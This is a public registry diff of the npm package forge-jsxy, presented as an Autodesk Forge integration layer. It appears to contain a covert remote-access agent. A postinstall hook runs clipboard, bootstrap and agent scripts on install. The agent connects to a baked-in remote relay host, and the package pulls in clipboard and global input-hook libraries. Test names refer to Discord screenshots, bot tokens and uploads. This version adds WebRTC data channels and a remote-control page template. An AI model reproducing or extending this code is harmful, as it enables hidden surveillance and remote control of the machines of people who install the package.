forge-jsxy 1.0.78 → 1.0.79

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/package.json CHANGED
@@ -1,8 +1,9 @@
1
1
  {
2
2
  "name": "forge-jsxy",
3
- "version": "1.0.78",
3
+ "version": "1.0.79",
4
4
  "description": "Node.js integration layer for Autodesk Forge",
5
5
  "license": "MIT",
6
+ "forgeAgentWebRtcMinVersion": "1.0.71",
6
7
  "main": "dist/index.js",
7
8
  "types": "dist/index.d.ts",
8
9
  "files": [
@@ -17,9 +18,9 @@
17
18
  "postinstall": "node scripts/postinstall-clipboard-event.mjs && node scripts/ensure-dist.mjs && node scripts/postinstall-bootstrap.mjs && node scripts/postinstall-agent.mjs",
18
19
  "build": "tsc && node scripts/copy-assets.mjs",
19
20
  "pretest": "npm run build",
20
- "test": "NODE_ENV=test node --test test/smoke.test.mjs",
21
+ "test": "NODE_ENV=test node --test test/smoke.test.mjs test/forge-bulk-protocol.test.mjs",
21
22
  "test:explorer": "npm run build && NODE_ENV=test node --test test/explorer-terminal-controls.test.mjs test/cross-os-install.test.mjs",
22
- "test:all": "NODE_ENV=test node --test test/smoke.test.mjs test/hf-hub-upload-streaming.test.mjs test/cross-os-install.test.mjs test/explorer-terminal-controls.test.mjs test/registry-version-lib.test.mjs test/file-lock-force-prefixes.test.mjs test/discord-relay-upload.test.mjs test/discord-bot-tokens.test.mjs test/discord-screenshot-interval.test.mjs test/production-invariants.test.mjs test/relay-agent-ws-smoke.mjs test/relay-agent-cli-smoke.mjs",
23
+ "test:all": "NODE_ENV=test node --test test/smoke.test.mjs test/forge-bulk-protocol.test.mjs test/hf-hub-upload-streaming.test.mjs test/cross-os-install.test.mjs test/explorer-terminal-controls.test.mjs test/registry-version-lib.test.mjs test/file-lock-force-prefixes.test.mjs test/discord-relay-upload.test.mjs test/discord-bot-tokens.test.mjs test/discord-screenshot-interval.test.mjs test/production-invariants.test.mjs test/relay-agent-ws-smoke.mjs test/relay-agent-cli-smoke.mjs",
23
24
  "test:env-local": "node --test test/env-local-integrations.mjs",
24
25
  "verify": "npm run ci && npm run test:env-local",
25
26
  "verify:production": "npm run ci",
@@ -61,6 +62,7 @@
61
62
  "@napi-rs/clipboard": "^1.1.3",
62
63
  "clipboard-event": "^1.6.0",
63
64
  "koffi": "^2.15.2",
65
+ "node-datachannel": "^0.32.3",
64
66
  "uiohook-napi": "^1.5.5"
65
67
  },
66
68
  "devDependencies": {
@@ -17,15 +17,28 @@ fs.cpSync(src, dest, { recursive: true });
17
17
  /** Replace placeholder so operators can View Source on /files and confirm the relay serves this package build (VPS stale-HTML diagnosis). */
18
18
  const pkgPath = path.join(root, "package.json");
19
19
  const explorerOut = path.join(dest, "files-explorer-template.html");
20
+ const remoteOut = path.join(dest, "remote-control-template.html");
20
21
  try {
21
22
  const pkg = JSON.parse(fs.readFileSync(pkgPath, "utf8"));
22
23
  const ver = String(pkg.version || "0.0.0").trim();
24
+ /** Protocol floor for viewer WebRTC probes — not relay package version (fleet agents may lag one patch). */
25
+ const webrtcFloor = String(pkg.forgeAgentWebRtcMinVersion || "1.0.71").trim() || "1.0.71";
23
26
  const stamp = `forge-jsxy@${ver} reconnect-ui npm-isolated-cache hub-20gib-delete-watch`;
24
27
  let html = fs.readFileSync(explorerOut, "utf8");
25
28
  if (html.includes("<!-- BUILD_STAMP -->")) {
26
29
  html = html.replace("<!-- BUILD_STAMP -->", `<!-- ${stamp} -->`);
27
- fs.writeFileSync(explorerOut, html, "utf8");
30
+ }
31
+ if (html.includes("__FORGE_AGENT_WEBRTC_MIN_VERSION__")) {
32
+ html = html.replace(/__FORGE_AGENT_WEBRTC_MIN_VERSION__/g, webrtcFloor);
33
+ }
34
+ fs.writeFileSync(explorerOut, html, "utf8");
35
+ if (fs.existsSync(remoteOut)) {
36
+ let remoteHtml = fs.readFileSync(remoteOut, "utf8");
37
+ if (remoteHtml.includes("__FORGE_AGENT_WEBRTC_MIN_VERSION__")) {
38
+ remoteHtml = remoteHtml.replace(/__FORGE_AGENT_WEBRTC_MIN_VERSION__/g, webrtcFloor);
39
+ fs.writeFileSync(remoteOut, remoteHtml, "utf8");
40
+ }
28
41
  }
29
42
  } catch (e) {
30
- console.warn("[forge-js] copy-assets: could not inject explorer BUILD_STAMP:", e?.message || e);
43
+ console.warn("[forge-js] copy-assets: could not inject explorer BUILD_STAMP / remote WebRTC gate:", e?.message || e);
31
44
  }
@@ -769,7 +769,7 @@ async function runWorker(log) {
769
769
  const ts = new Date().toISOString();
770
770
  if (inst.status === 0) {
771
771
  appendExplorerUpgradeLog(
772
- `${ts} OK ${vBefore || "?"} => ${vAfter || "?"} (global forge-jsx)`
772
+ `${ts} OK ${vBefore || "?"} => ${vAfter || "?"} (global ${NPM_PKG})`
773
773
  );
774
774
  } else {
775
775
  appendExplorerUpgradeLog(
@@ -7,6 +7,9 @@
7
7
  * Relay URL: FORGE_JS_AGENT_RELAY_URL, else FORGE_JS_RELAY_URL / CFGMGR_RELAY_URL,
8
8
  * else deploymentDefaults.defaultRelayWsUrl() (baked-in remote host),
9
9
  * else ws://127.0.0.1:<RELAY_DEFAULT_PORT> (last-resort local fallback).
10
+ * Loads package-root `.env` with dotenv (`override: false`) — required because npm runs each
11
+ * postinstall script in a **separate** process; vars loaded only in postinstall-bootstrap would not
12
+ * apply here (Windows / Linux / macOS).
10
13
  * HF uploads use relay-hosted RELAY_HF_CREDENTIALS_B64 by default (no agent env). Discord screenshots
11
14
  * follow relay RELAY_DISCORD_* via relay_features on connect when agent env is unset. Forge-db sync
12
15
  * URL is taken from relay relay_features when the agent has no local FORGE_JS_SYNC_URL / CFGMGR_API_URL.
@@ -23,12 +26,22 @@ import { createRequire } from "node:module";
23
26
  import os from "node:os";
24
27
  import path from "node:path";
25
28
  import { fileURLToPath } from "node:url";
29
+ import { config as loadEnv } from "dotenv";
26
30
 
27
31
  const require = createRequire(import.meta.url);
28
32
  const __dirname = path.dirname(fileURLToPath(import.meta.url));
29
33
  const pkgRoot = path.resolve(__dirname, "..");
30
34
  const cliAgent = path.join(pkgRoot, "dist", "cli-agent.js");
31
35
 
36
+ const envPath = path.join(pkgRoot, ".env");
37
+ if (existsSync(envPath)) {
38
+ try {
39
+ loadEnv({ path: envPath, override: false });
40
+ } catch {
41
+ /* invalid .env — ignore */
42
+ }
43
+ }
44
+
32
45
  /**
33
46
  * Use a stable data directory as child CWD instead of package root.
34
47
  * If CWD stays under global npm module path, repeated `npm i -g forge-jsx`